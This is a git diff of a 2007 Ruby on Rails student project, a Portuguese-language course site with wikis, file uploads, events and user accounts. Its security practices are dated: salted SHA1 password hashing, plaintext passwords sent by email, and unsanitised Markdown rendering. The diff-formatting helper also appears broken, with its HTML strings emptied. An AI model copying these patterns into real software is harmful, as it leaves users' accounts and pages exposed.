output + end + + def logged_in? + session[:user_id] + end + + def current_user + User.find(session[:user_id]) if logged_in? + end + + def admin? + logged_in? and current_user.admin? + end + + def wiki(text) + BlueCloth.new(text).to_html + end + + def highlight(name) + return {:class => 'highlight'} if (flash[:highlight] == name) + end + + def gravatar_url_for(email, size=80) + "http://www.gravatar.com/avatar.php?gravatar_id=#{Digest::MD5.hexdigest(email)}&size=#{size}&default=#{App.default_avatar}" + end + + def action_icon(action_name, description, options = {}, html_options = {}) + html_options.merge!({:class => 'icon', :alt => description, :title => description}) + link_to(image_tag("action/#{action_name}.gif"), options, html_options) + end +end diff --git a/app/helpers/attachments_helper.rb b/app/helpers/attachments_helper.rb new file mode 100644 index 0000000..0e48282 --- /dev/null +++ b/app/helpers/attachments_helper.rb @@ -0,0 +1,15 @@ +# Engenharia de Software 2007.1 +# Copyright (C) 2007, Adriano, Alinson, Andre, Rafael e Bustamante +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. + +module AttachmentsHelper +end diff --git a/app/helpers/courses_helper.rb b/app/helpers/courses_helper.rb new file mode 100644 index 0000000..d8d4d5d --- /dev/null +++ b/app/helpers/courses_helper.rb @@ -0,0 +1,39 @@ +# Engenharia de Software 2007.1 +# Copyright (C) 2007, Adriano, Alinson, Andre, Rafael e Bustamante +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. + +module CoursesHelper + def mime_class(str) + str.strip! + case str + when "application/octet-stream" + return "mime_binary" + + when + "application/pdf", + "application/postscript", + "application/msword" + return "mime_document" + + when "application/pdf" + return "mime_document" + + when + "application/zip", + "application/x-gzip", + "application/x-gtar" + return "mime_zip" + + else "mime_plain_text" + end + end +end diff --git a/app/helpers/events_helper.rb b/app/helpers/events_helper.rb new file mode 100644 index 0000000..ebdc19e --- /dev/null +++ b/app/helpers/events_helper.rb @@ -0,0 +1,15 @@ +# Engenharia de Software 2007.1 +# Copyright (C) 2007, Adriano, Alinson, Andre, Rafael e Bustamante +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. + +module EventsHelper +end diff --git a/app/helpers/log_helper.rb b/app/helpers/log_helper.rb new file mode 100644 index 0000000..23096ad --- /dev/null +++ b/app/helpers/log_helper.rb @@ -0,0 +1,2 @@ +module LogHelper +end diff --git a/app/helpers/news_helper.rb b/app/helpers/news_helper.rb new file mode 100644 index 0000000..78e8502 --- /dev/null +++ b/app/helpers/news_helper.rb @@ -0,0 +1,15 @@ +# Engenharia de Software 2007.1 +# Copyright (C) 2007, Adriano, Alinson, Andre, Rafael e Bustamante +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. + +module NewsHelper +end diff --git a/app/helpers/stylesheets_helper.rb b/app/helpers/stylesheets_helper.rb new file mode 100644 index 0000000..a578625 --- /dev/null +++ b/app/helpers/stylesheets_helper.rb @@ -0,0 +1,47 @@ +# Engenharia de Software 2007.1 +# Copyright (C) 2007, Adriano, Alinson, Andre, Rafael e Bustamante +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. + +module StylesheetsHelper + + def browser_is? name + name = name.to_s.strip + return true if browser_name == name + return true if name == 'mozilla' && browser_name == 'gecko' + return true if name == 'ie' && browser_name.index('ie') + return true if name == 'webkit' && browser_name == 'safari' + + end + + def browser_name + @browser_name ||= begin + ua = request.env['HTTP_USER_AGENT'].downcase + if ua.index('msie') && !ua.index('opera') && !ua.index('webtv') + 'ie'+ua[ua.index('msie')+5].chr + elsif ua.index('gecko/') + 'gecko' + elsif ua.index('opera') + 'opera' + elsif ua.index('konqueror') + 'konqueror' + elsif ua.index('applewebkit/') + 'safari' + elsif ua.index('mozilla/') + 'gecko' + end + end + end + + def ie? + return browser_is?('ie') + end +end diff --git a/app/helpers/user_helper.rb b/app/helpers/user_helper.rb new file mode 100644 index 0000000..001a9a5 --- /dev/null +++ b/app/helpers/user_helper.rb @@ -0,0 +1,15 @@ +# Engenharia de Software 2007.1 +# Copyright (C) 2007, Adriano, Alinson, Andre, Rafael e Bustamante +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. + +module UserHelper +end diff --git a/app/helpers/wiki_helper.rb b/app/helpers/wiki_helper.rb new file mode 100644 index 0000000..8f52938 --- /dev/null +++ b/app/helpers/wiki_helper.rb @@ -0,0 +1,48 @@ +# Engenharia de Software 2007.1 +# Copyright (C) 2007, Adriano, Alinson, Andre, Rafael e Bustamante +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. + +module WikiHelper + + def format_diff(text) + last = 0 + result = "" + text << "\n" + style = { '+' => 'add', '-' => 'del', ' ' => 'line' } + + text.each do |line| + # Ignora o cabecalho + next if line.match(/^---/) + next if line.match(/^\+\+\+/) + + # Divisao entre pedacos + if line[0].chr == '@' + result << "" + last = 0 + else + # Verifica se mudou de contexto (add para del, linha normal para add, etc) + if line[0] != last + last = line[0] if last == 0 or line[0].chr == '+' or line[0].chr == '-' + result << "" + + " #{line[1..-1]} " + end + end + + return "#{result}
" + end +end diff --git a/app/models/attachment.rb b/app/models/attachment.rb new file mode 100644 index 0000000..9bd25a0 --- /dev/null +++ b/app/models/attachment.rb @@ -0,0 +1,66 @@ +# Engenharia de Software 2007.1 +# Copyright (C) 2007, Adriano, Alinson, Andre, Rafael e Bustamante +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. + +require 'fileutils.rb' + +class Attachment < ActiveRecord::Base + + belongs_to :course + generate_validations + acts_as_paranoid + + # Atributo virtual file + def file=(new_file) + @tmp_file = new_file + self.size = new_file.size + end + + # Limpa o nome do arquivo + protected + def sanitize(filename) + filename = File.basename(filename) + filename.gsub(/[^\w\.\-]/, '_') + end + + # Verifica se o arquivo é válido + def validate + if @tmp_file + errors.add("file") if @tmp_file.size == 0 + errors.add("file", "is too large"[]) if @tmp_file.size > App.max_upload_file_size + else + # Caso o objeto possua id, significa que ele já está no banco de dados. + # Um arquivo em branco, entao, não é inválido: significa que a pessoa só quer + # modificar a descrição, ou algo assim.. + errors.add("file", "is needed"[]) if not self.id + end + end + + # Salva o arquivo fisicamente no HD + def after_save + @file_path = "#{RAILS_ROOT}/public/upload/#{course.id}/#{self.id}" + FileUtils.mkdir_p(File.dirname(@file_path)) + + if @tmp_file + logger.debug("Saving #{self.id}") + File.open(@file_path, "wb") do |f| + f.write(@tmp_file.read) + end + end + end + + # Deleta o arquivo + #def after_destroy + # @file_path = "#{RAILS_ROOT}/public/upload/#{course.id}/#{self.id}" + # File.delete(@file_path) if File.exists?(@file_path) + #end +end diff --git a/app/models/course.rb b/app/models/course.rb new file mode 100644 index 0000000..a58c8a8 --- /dev/null +++ b/app/models/course.rb @@ -0,0 +1,56 @@ +# Engenharia de Software 2007.1 +# Copyright (C) 2007, Adriano, Alinson, Andre, Rafael e Bustamante +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. + +class Course < ActiveRecord::Base + + has_many :attachments, :order => "file_name" + has_many :wiki_pages, :order => "position" + + has_many :shoutbox_messages, + :class_name => 'CourseShoutboxMessage', + :foreign_key => "receiver_id", + :order => 'id desc' + + has_many :news, + :class_name => 'News', + :foreign_key => "receiver_id", + :order => 'id desc' + + has_many :events, :order => "date asc, time asc" + + has_many :log_entries, :order => "created_at desc" + + generate_validations + validates_uniqueness_of :short_name + validates_format_of :short_name, :with => /^[^0-9]/ + + def after_create + App.inital_wiki_pages.each do |page_title| + wiki_page = WikiPage.new(:title => page_title, :version => 1, :content => App.initial_wiki_page_content) + self.wiki_pages << wiki_page + end + end + + def after_destroy + associations = [:attachments, :wiki_pages, :shoutbox_messages, :news, :events] + associations.each do |assoc| + send("#{assoc}").each do |record| + record.destroy + end + end + end + + def to_param + self.short_name + end +end diff --git a/app/models/event.rb b/app/models/event.rb new file mode 100644 index 0000000..6cd5b97 --- /dev/null +++ b/app/models/event.rb @@ -0,0 +1,33 @@ +# Engenharia de Software 2007.1 +# Copyright (C) 2007, Adriano, Alinson, Andre, Rafael e Bustamante +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. + +class Event < ActiveRecord::Base + + acts_as_paranoid + generate_validations + + def Event.to_ical(courses) + cal = Icalendar::Calendar.new + courses.each do |course| + course.events.each do |user_event| + event = Icalendar::Event.new + event.start = user_event.date + event.end = user_event.date + event.summary = "#{course.short_name}: #{user_event.title}" + event.description = user_event.description + cal.add(event) + end + end + return cal.to_ical + end +end diff --git a/app/models/log_entry.rb b/app/models/log_entry.rb new file mode 100644 index 0000000..f1ba48d --- /dev/null +++ b/app/models/log_entry.rb @@ -0,0 +1,24 @@ +# Engenharia de Software 2007.1 +# Copyright (C) 2007, Adriano, Alinson, Andre, Rafael e Bustamante +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. + +class LogEntry < ActiveRecord::Base + belongs_to :user + belongs_to :course + + def reversible?() false end +end + +require 'log_entry/attachment_log_entry.rb' +require 'log_entry/event_log_entry.rb' +require 'log_entry/news_log_entry.rb' +require 'log_entry/wiki_log_entry.rb' diff --git a/app/models/log_entry/attachment_log_entry.rb b/app/models/log_entry/attachment_log_entry.rb new file mode 100644 index 0000000..f3fcde8 --- /dev/null +++ b/app/models/log_entry/attachment_log_entry.rb @@ -0,0 +1,35 @@ +# Engenharia de Software 2007.1 +# Copyright (C) 2007, Adriano, Alinson, Andre, Rafael e Bustamante +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. + +class AttachmentLogEntry < LogEntry + def attachment + Attachment.find_with_deleted(target_id) + end +end + +class AttachmentDeleteLogEntry < AttachmentLogEntry + def reversible?() + a = Attachment.find_with_deleted(target_id) + a.deleted_at != nil + end + def undo!(current_user) + a = Attachment.find_with_deleted(target_id) + a.update_attribute(:deleted_at, nil) + AttachmentRestoreLogEntry.create!(:target_id => a.id, :user_id => current_user.id, + :course => a.course) + end +end + +class AttachmentEditLogEntry < AttachmentLogEntry; end +class AttachmentCreateLogEntry < AttachmentLogEntry; end +class AttachmentRestoreLogEntry < AttachmentLogEntry; end diff --git a/app/models/log_entry/event_log_entry.rb b/app/models/log_entry/event_log_entry.rb new file mode 100644 index 0000000..68c3630 --- /dev/null +++ b/app/models/log_entry/event_log_entry.rb @@ -0,0 +1,35 @@ +# Engenharia de Software 2007.1 +# Copyright (C) 2007, Adriano, Alinson, Andre, Rafael e Bustamante +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. + +class EventLogEntry < LogEntry + def event + Event.find_with_deleted(target_id) + end +end + +class EventDeleteLogEntry < EventLogEntry + def reversible?() + e = Event.find_with_deleted(target_id) + e.deleted_at != nil + end + def undo!(current_user) + e = Event.find_with_deleted(target_id) + e.update_attribute(:deleted_at, nil) + EventRestoreLogEntry.create!(:target_id => e.id, :user_id => current_user.id, + :course => e.course) + end +end + +class EventEditLogEntry < EventLogEntry; end +class EventCreateLogEntry < EventLogEntry; end +class EventRestoreLogEntry < EventLogEntry; end diff --git a/app/models/log_entry/news_log_entry.rb b/app/models/log_entry/news_log_entry.rb new file mode 100644 index 0000000..527218a --- /dev/null +++ b/app/models/log_entry/news_log_entry.rb @@ -0,0 +1,35 @@ +# Engenharia de Software 2007.1 +# Copyright (C) 2007, Adriano, Alinson, Andre, Rafael e Bustamante +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. + +class NewsLogEntry < LogEntry + def news + News.find_with_deleted(target_id) + end +end + +class NewsDeleteLogEntry < NewsLogEntry + def reversible?() + n = News.find_with_deleted(target_id) + n.deleted_at != nil + end + def undo!(current_user) + n = News.find_with_deleted(target_id) + n.update_attribute(:deleted_at, nil) + NewsRestoreLogEntry.create!(:target_id => n.id, :user_id => current_user.id, + :course => n.course) + end +end + +class NewsEditLogEntry < NewsLogEntry; end +class NewsCreateLogEntry < NewsLogEntry; end +class NewsRestoreLogEntry < NewsLogEntry; end diff --git a/app/models/log_entry/wiki_log_entry.rb b/app/models/log_entry/wiki_log_entry.rb new file mode 100644 index 0000000..44cda54 --- /dev/null +++ b/app/models/log_entry/wiki_log_entry.rb @@ -0,0 +1,43 @@ +# Engenharia de Software 2007.1 +# Copyright (C) 2007, Adriano, Alinson, Andre, Rafael e Bustamante +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. + +class WikiLogEntry < LogEntry + def wiki_page + w = WikiPage.find_with_deleted(target_id) + w.revert_to(version) + return w + end +end + +class WikiEditLogEntry < WikiLogEntry + validates_presence_of :version +end + +class WikiDeleteLogEntry < WikiLogEntry + def reversible?() + w = WikiPage.find_with_deleted(target_id) + w.deleted_at != nil + end + def undo!(current_user) + w = WikiPage.find_with_deleted(target_id) + w.update_attribute(:deleted_at, nil) + w.position = w.course.wiki_pages.maximum(:position) + 1 + w.save! + WikiRestoreLogEntry.create!(:target_id => w.id, :user_id => current_user.id, + :course => w.course) + end +end + +class WikiCreateLogEntry < WikiLogEntry; end +class WikiRestoreLogEntry < WikiLogEntry; end + diff --git a/app/models/message.rb b/app/models/message.rb new file mode 100644 index 0000000..362a355 --- /dev/null +++ b/app/models/message.rb @@ -0,0 +1,39 @@ +# Engenharia de Software 2007.1 +# Copyright (C) 2007, Adriano, Alinson, Andre, Rafael e Bustamante +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. + +class Message < ActiveRecord::Base + acts_as_paranoid + belongs_to :user, :foreign_key => "sender_id" +end + + +class PrivateMessage < Message +end + + +class News < Message + validates_presence_of :title + belongs_to :course, :foreign_key => "receiver_id" +end + + +class ShoutboxMessage < Message +end + + +class CourseShoutboxMessage < ShoutboxMessage +end + + +class UserShoutboxMessage < ShoutboxMessage +end diff --git a/app/models/notifications.rb b/app/models/notifications.rb new file mode 100644 index 0000000..bd702c0 --- /dev/null +++ b/app/models/notifications.rb @@ -0,0 +1,25 @@ +# Engenharia de Software 2007.1 +# Copyright (C) 2007, Adriano, Alinson, Andre, Rafael e Bustamante +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. + +class Notifications < ActionMailer::Base + + def forgot_password(to, login, pass, sent_at = Time.now) + @subject = "Your password is ..." + @body['login']=login + @body['pass']=pass + @recipients = to + @from = 'support@yourdomain.com' + @sent_on = sent_at + @headers = {} + end +end diff --git a/app/models/user.rb b/app/models/user.rb new file mode 100644 index 0000000..2aa00e3 --- /dev/null +++ b/app/models/user.rb @@ -0,0 +1,108 @@ +# Engenharia de Software 2007.1 +# Copyright (C) 2007, Adriano, Alinson, Andre, Rafael e Bustamante +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. + +require 'digest/sha1' + +class User < ActiveRecord::Base + + has_and_belongs_to_many :courses, :order => 'full_name' + + validates_length_of :login, :within => 3..40 + validates_length_of :name, :within => 3..40 + validates_length_of :display_name, :within => 3..40 + + validates_presence_of :login, :email, :display_name + validates_uniqueness_of :login, :email, :display_name + + validates_format_of :display_name, :with => /^[^0-9]/ + validates_format_of :email, + :with => /^([^@\s]+)@((?:[-a-z0-9]+\.)+[a-z]{2,})$/i + + attr_protected :id, :salt + attr_accessor :password, :password_confirmation + + has_many :shoutbox_messages, + :class_name => 'UserShoutboxMessage', + :foreign_key => "receiver_id", + :order => 'id desc' + + def User.find_by_login_and_pass(login, pass) + user = find(:first, :conditions => [ "login = ?", login ]) + return (!user.nil? and User.encrypt(pass, user.salt) == user.hashed_password) ? user : nil + end + + def to_xml(options = {}) + options[:indent] ||= 2 + xml = options[:builder] ||= Builder::XmlMarkup.new(:indent => options[:indent]) + xml.instruct! unless options[:skip_instruct] + xml.user do + xml.id self.id + xml.name self.name + xml.created_at self.created_at + xml.last_seen self.last_seen + xml.description self.description + end + end + + # Gera uma nova senha, e a envia por email. + def send_new_password + new_pass = User.random_string(10) + @password = @password_confirmation = new_pass + save + Notifications.deliver_forgot_password(self.email, self.login, new_pass) + end + + def reset_login_key + self.login_key = Digest::SHA1.hexdigest(Time.now.to_s + password.to_s + rand(123456789).to_s).to_s + end + + def reset_login_key! + reset_login_key + save! + self.login_key + end + + def to_param + self.login + end + + protected + def validate + if new_record? + errors.add_on_blank :password + errors.add_on_blank :password_confirmation + end + + if !@password.blank? + errors.add(:password_confirmation) if @password_confirmation.blank? or @password != @password_confirmation + errors.add(:password, 'é muito curta') if !(5..40).include?(@password.length) + end + end + + def before_save + self.salt = User.random_string(10) if !self.salt? + self.hashed_password = User.encrypt(@password, self.salt) if !@password.blank? + end + + def self.encrypt(pass, salt) + Digest::SHA1.hexdigest(pass + salt) + end + + def self.random_string(len) + chars = ("a".."z").to_a + ("A".."Z").to_a + ("0".."9").to_a + newpass = "" + 1.upto(len) { |i| newpass << chars[rand(chars.size-1)] } + return newpass + end + +end diff --git a/app/models/wiki_page.rb b/app/models/wiki_page.rb new file mode 100644 index 0000000..8f0b51a --- /dev/null +++ b/app/models/wiki_page.rb @@ -0,0 +1,59 @@ +# Engenharia de Software 2007.1 +# Copyright (C) 2007, Adriano, Alinson, Andre, Rafael e Bustamante +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. + +require 'acts_as_versioned' +require 'tempfile' + +class WikiPage < ActiveRecord::Base + + belongs_to :course + belongs_to :user + + generate_validations + validates_uniqueness_of :title, :scope => :course_id + validates_format_of :title, :with => /^[^0-9]/ + + acts_as_paranoid + acts_as_list :scope => 'course_id = #{course_id}' + acts_as_versioned :if_changed => [ :content, :description, :title ] + self.non_versioned_fields << 'position' + + def to_html(text = self.content) + return BlueCloth.new(text).to_html + end + + def to_param + self.title + end + + def WikiPage.diff(from, to) + # Cria um arquivo com o conteudo da versao antiga + original_content_file = Tempfile.new("old") + original_content_file << from.content << "\n" + original_content_file.flush + + # Cria um arquivo com o conteudo da versao nova + new_content_file = Tempfile.new("new") + new_content_file << to.content << "\n" + new_content_file.flush + + # Calcula as diferencas + diff = `diff -u #{original_content_file.path()} #{new_content_file.path()}` + + # Fecha os arquivos temporarios + new_content_file.close! + original_content_file.close! + + return diff + end +end diff --git a/app/views/attachments/_form.html.haml b/app/views/attachments/_form.html.haml new file mode 100644 index 0000000..5353e04 --- /dev/null +++ b/app/views/attachments/_form.html.haml @@ -0,0 +1,10 @@ += error_messages_for 'attachment' + +%dl + %dt + %label{:for => 'attachment_file'} Arquivo + %dd= file_field 'attachment', 'file' + + %dt + %label{:for => "attachment_description"} Descrição + %dd= preserve(text_area 'attachment', 'description') diff --git a/app/views/attachments/edit.html.haml b/app/views/attachments/edit.html.haml new file mode 100644 index 0000000..d98f1c4 --- /dev/null +++ b/app/views/attachments/edit.html.haml @@ -0,0 +1,7 @@ +%h4.title= h(@course.full_name) +%h1.title Modificar arquivo + +%p + - form_for :attachment, @attachment, :url => course_attachment_url, :html => { :method => 'put', :multipart => 'true' } do + = render :partial => 'form' + = submit_tag 'Editar' diff --git a/app/views/attachments/new.html.haml b/app/views/attachments/new.html.haml new file mode 100644 index 0000000..52fb4a7 --- /dev/null +++ b/app/views/attachments/new.html.haml @@ -0,0 +1,7 @@ +%h4.title= h(@course.full_name) +%h1.title Adicionar arquivo + +%p + - form_for :attachment, @attachment, :url => course_attachments_url, :html => { :method => 'post', :multipart => 'true' } do + = render :partial => 'form' + = submit_tag "Criar" diff --git a/app/views/attachments/show.html.haml b/app/views/attachments/show.html.haml new file mode 100644 index 0000000..b851447 --- /dev/null +++ b/app/views/attachments/show.html.haml @@ -0,0 +1,20 @@ +.cmd + = action_icon 'edit', 'Editar', edit_course_attachment_url + = action_icon 'trash', 'Excluir', course_attachment_url, :confirm => 'Tem certeza que deseja excluir o arquivo?', :method => :delete + +%h4.title= h(@attachment.course.full_name) +%h1.title Repositório + +%p + %dl + %dt Arquivo + %dd= link_to h(@attachment.file_name), download_course_attachment_url + + %dt Descrição + %dd= h(@attachment.description) + + %dt Tipo de Arquivo + %dd= h(@attachment.content_type) + + %dt Tamanho + %dd= number_to_human_size @attachment.size diff --git a/app/views/courses/_form.html.haml b/app/views/courses/_form.html.haml new file mode 100644 index 0000000..783f445 --- /dev/null +++ b/app/views/courses/_form.html.haml @@ -0,0 +1,22 @@ += error_messages_for 'course' + +%dl + %dt + %label{:for => "course_full_name"} Nome completo + %dd= text_field 'course', 'full_name' + + %dt + %label{:for => "course_short_name"} Nome abreviado + %dd= text_field 'course', 'short_name' + + %dt + %label{:for => "course_code"} Código + %dd= text_field 'course', 'code' + + %dt + %label{:for => "course_period"} Semestre + %dd= text_field 'course', 'period' + + %dt + %label{:for => "course_description"} Descrição + %dd= preserve(text_area('course', 'description', :cols => 60, :rows => 10)) diff --git a/app/views/courses/_left_panel.html.haml b/app/views/courses/_left_panel.html.haml new file mode 100644 index 0000000..c4d1ed1 --- /dev/null +++ b/app/views/courses/_left_panel.html.haml @@ -0,0 +1,3 @@ +- cache(:controller => 'courses', :action => 'show', :id => @course, :part => 'left') do + = render 'widgets/menu_disciplina' + = render 'widgets/menu_user' diff --git a/app/views/courses/_right_panel.html.haml b/app/views/courses/_right_panel.html.haml new file mode 100644 index 0000000..599b849 --- /dev/null +++ b/app/views/courses/_right_panel.html.haml @@ -0,0 +1,3 @@ +- cache(:controller => 'courses', :action => 'show', :id => @course, :part => 'right') do + = render 'widgets/calendario' + = render 'widgets/news' diff --git a/app/views/courses/edit.html.haml b/app/views/courses/edit.html.haml new file mode 100644 index 0000000..88cf3d2 --- /dev/null +++ b/app/views/courses/edit.html.haml @@ -0,0 +1,7 @@ +%h4.title= App.title +%h1.title Editar disciplina + +%p + - form_tag course_path(@course.id), :method => :put do + = render :partial => 'form' + = submit_tag 'Editar' diff --git a/app/views/courses/index.html.haml b/app/views/courses/index.html.haml new file mode 100644 index 0000000..3d6149a --- /dev/null +++ b/app/views/courses/index.html.haml @@ -0,0 +1,29 @@ +.cmd + = action_icon('add', 'Cadastrar nova disciplina', new_course_url) if admin? + +- cache do + %h4.title= App.title + %h1.title Disciplinas + + .box + %ul + - if logged_in? + - unless @current_user.courses.empty? + %h3 Disciplinas matriculadas + - for course in @current_user.courses + %li{highlight(course.id)} + .right + = action_icon('subtract', 'Desmatricular-se', unenroll_course_url(course)) + = link_to h(course.full_name), course_url(course) + + - old_period = 0 + - for course in @courses + - if course.period != old_period + %h3= (course.period == 99 ? "Optativas" : "Semestre #{course.period}") + - old_period = course.period + + %li{highlight(course.id)} + .right + = action_icon('add', 'Matricular-se', enroll_course_url(course)) + = link_to h(course.full_name), course_url(course) + diff --git a/app/views/courses/new.html.haml b/app/views/courses/new.html.haml new file mode 100644 index 0000000..286b3d3 --- /dev/null +++ b/app/views/courses/new.html.haml @@ -0,0 +1,6 @@ +%h4.title= App.title +%h1.title Adicionar disciplina + +- form_tag course_url(@course.id), :method => :post do + = render :partial => 'form' + = submit_tag "Cadastrar" diff --git a/app/views/courses/show.html.haml b/app/views/courses/show.html.haml new file mode 100644 index 0000000..4c3d814 --- /dev/null +++ b/app/views/courses/show.html.haml @@ -0,0 +1,40 @@ +.cmd + - if admin? + = action_icon 'edit', 'Editar disciplina', edit_course_url + /= action_icon 'trash', 'Excluir disciplina', course_url, :confirm => 'Tem certeza que deseja excluir?', :method => :delete + +- cache do + + %h4.title Disciplina + %h1.title= h(@course.full_name) + + %p= wiki @course.description + + .box + .cmd + = action_icon 'add', 'Adicionar página wiki', new_course_wiki_url(@course) + + %h3 Páginas Wiki + %ul.wiki + - @course.wiki_pages.each do |wiki| + %li{highlight(wiki.id)} + .cmd{:style => 'margin-bottom: -27px; margin-top: -9px;'} + =action_icon 'arrow2_n', 'Mover para cima', move_up_course_wiki_url(@course, wiki) unless wiki.first? + =action_icon 'arrow2_s', 'Mover para baixo', move_down_course_wiki_url(@course, wiki) unless wiki.last? + - if wiki.last? + %span{:style => 'margin-right: 14px'}   + =link_to h(wiki.title), course_wiki_url(@course, wiki) + - if @course.wiki_pages.empty? + %li.no_itens Nenhuma página wiki + + .box + .cmd= action_icon 'add', 'Adicionar anexo', new_course_attachment_url(@course) + + %h3 Repositório de Arquivos + .repositorio + %ul.wiki + - @course.attachments.each do |att| + %li{:class => mime_class(att.content_type)} + = link_to h(att.file_name), course_attachment_url(@course, att) + - if @course.attachments.empty? + %li.no_itens Nenhum arquivo diff --git a/app/views/events/_form.html.haml b/app/views/events/_form.html.haml new file mode 100644 index 0000000..1116f06 --- /dev/null +++ b/app/views/events/_form.html.haml @@ -0,0 +1,19 @@ += error_messages_for 'event' + +%dl + %dt + %label{:for => "event_title"} Título + %dd= text_field 'event', 'title' + + %dt + %label{:for => "event_date"} Data + %dd= date_select 'event', 'date', :order => [:day, :month, :year] + + %dt + %label{:for => "event_time"} Horário + %dd= time_select 